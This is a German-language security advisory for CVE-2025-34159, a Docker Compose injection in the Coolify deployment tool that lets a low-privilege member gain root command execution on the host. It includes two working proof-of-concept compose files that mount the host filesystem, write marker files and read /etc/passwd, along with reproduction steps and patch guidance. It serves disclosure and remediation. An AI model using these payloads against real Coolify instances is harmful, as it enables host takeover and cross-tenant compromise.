CVE-2025-34159: Docker Compose-Injection in Coolify

Übersicht über die Sicherheitslücke

Zusammenfassung

Eine kritische Remote-Code-Ausführungs-Lücke (RCE) existiert im Bereitstellungs-Workflow von Coolify. Dieser Fehler ermöglicht es einem Mitglied mit niedrigen Berechtigungen, während der Erstellung oder Aktualisierung eines Projekts beliebige Docker-Compose-Direktiven einzuschleusen. Durch die Definition eines schädlichen Dienstes, der das Host-Dateisystem einbindet, kann ein Angreifer eine Befehlsausführung auf dem Host-Betriebssystem mit Root-Rechten erreichen und damit die Container-Isolierung vollständig umgehen.

Sicherheitsauswirkungen

• Beliebige Befehlsausführung auf dem Host-System mit Root-Rechten
• Vollständige Kompromittierung des Hosts einschließlich der Möglichkeit, Systemdateien zu lesen/schreiben, Persistenz zu etablieren und laterale Bewegungen durchzuführen
• Sicherheitsverletzung im Multi-Tenant-Betrieb, die möglicherweise andere Benutzer und Teams auf derselben Instanz gefährdet
• Umgehung von Sicherheitskontrollen, wodurch Beschränkungen des UI-Terminalzugriffs (403-Kontrollen) irrelevant werden

Technische Details

Betroffene Versionen

• Verwundbare Versionen: Coolify ≤ v4.0.0-beta.420.6
• Behobene Version: v4.0.0-beta.420.7

Angriffsvektor

Die Schwachstelle liegt im Projektbereitstellungs-Workflow, bei dem benutzerdefinierte Docker-Compose-Konfigurationen ohne ausreichende Validierung oder Sandboxing verarbeitet werden.

Proof of Concept

PoC 1: Host-Root-Mount mit Befehlsausführung

version: '3.8'
services:
  poc-host-root:
    image: alpine:3.19
    tty: true
    volumes:
      - /:/host:rw
    command: >
      sh -c "
        echo '[*] Proof of RCE on host' &&
        echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
        whoami &&
        id &&
        uname -a &&
        head -n 5 /host/etc/passwd
      "

Ergebnis: Nach der Bereitstellung erscheint /tmp/proof_rce.txt auf dem Host-System, was RCE mit Root-Rechten bestätigt.

PoC 2: Gezieltes Schreiben auf Host-Pfad

version: '3.8'
services:
  poc-host-write:
    image: alpine:3.19
    tty: true
    volumes:
      - /home/eyodav/PoC:/host
    command: >
      sh -c "
        set -e;
        mkdir -p /host &&
        echo '[*] Writing PoC file to host mount...' &&
        echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
        cd /host &&
        pwd &&
        ls -la
      "

Reproduktionsschritte

1. Authentifizieren Sie sich als Benutzer auf Mitgliedsebene (kein Administrator)
2. Erstellen oder bearbeiten Sie ein Projekt in Coolify
3. Geben Sie eine schädliche Konfiguration mit einem der oben genannten Docker-Compose-Payloads ein
4. Stellen Sie das Projekt bereit
5. Überprüfen Sie die Ausnutzung durch Kontrolle auf Host-seitige Artefakte (z. B. /tmp/proof_rce.txt) oder durch Überprüfung der Befehlsausgabe in den Bereitstellungsprotokollen

Sofortmaßnahmen

1. Sofort aktualisieren auf Coolify v4.0.0-beta.420.7 oder höher
2. Vorhandene Projekte überprüfen auf potenziell schädliche Docker-Compose-Konfigurationen

Referenzen

• Patch-/Release-Notes: https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.420.7
• Advisory/PoC-Repository: https://github.com/Eyodav/CVE-2025-34159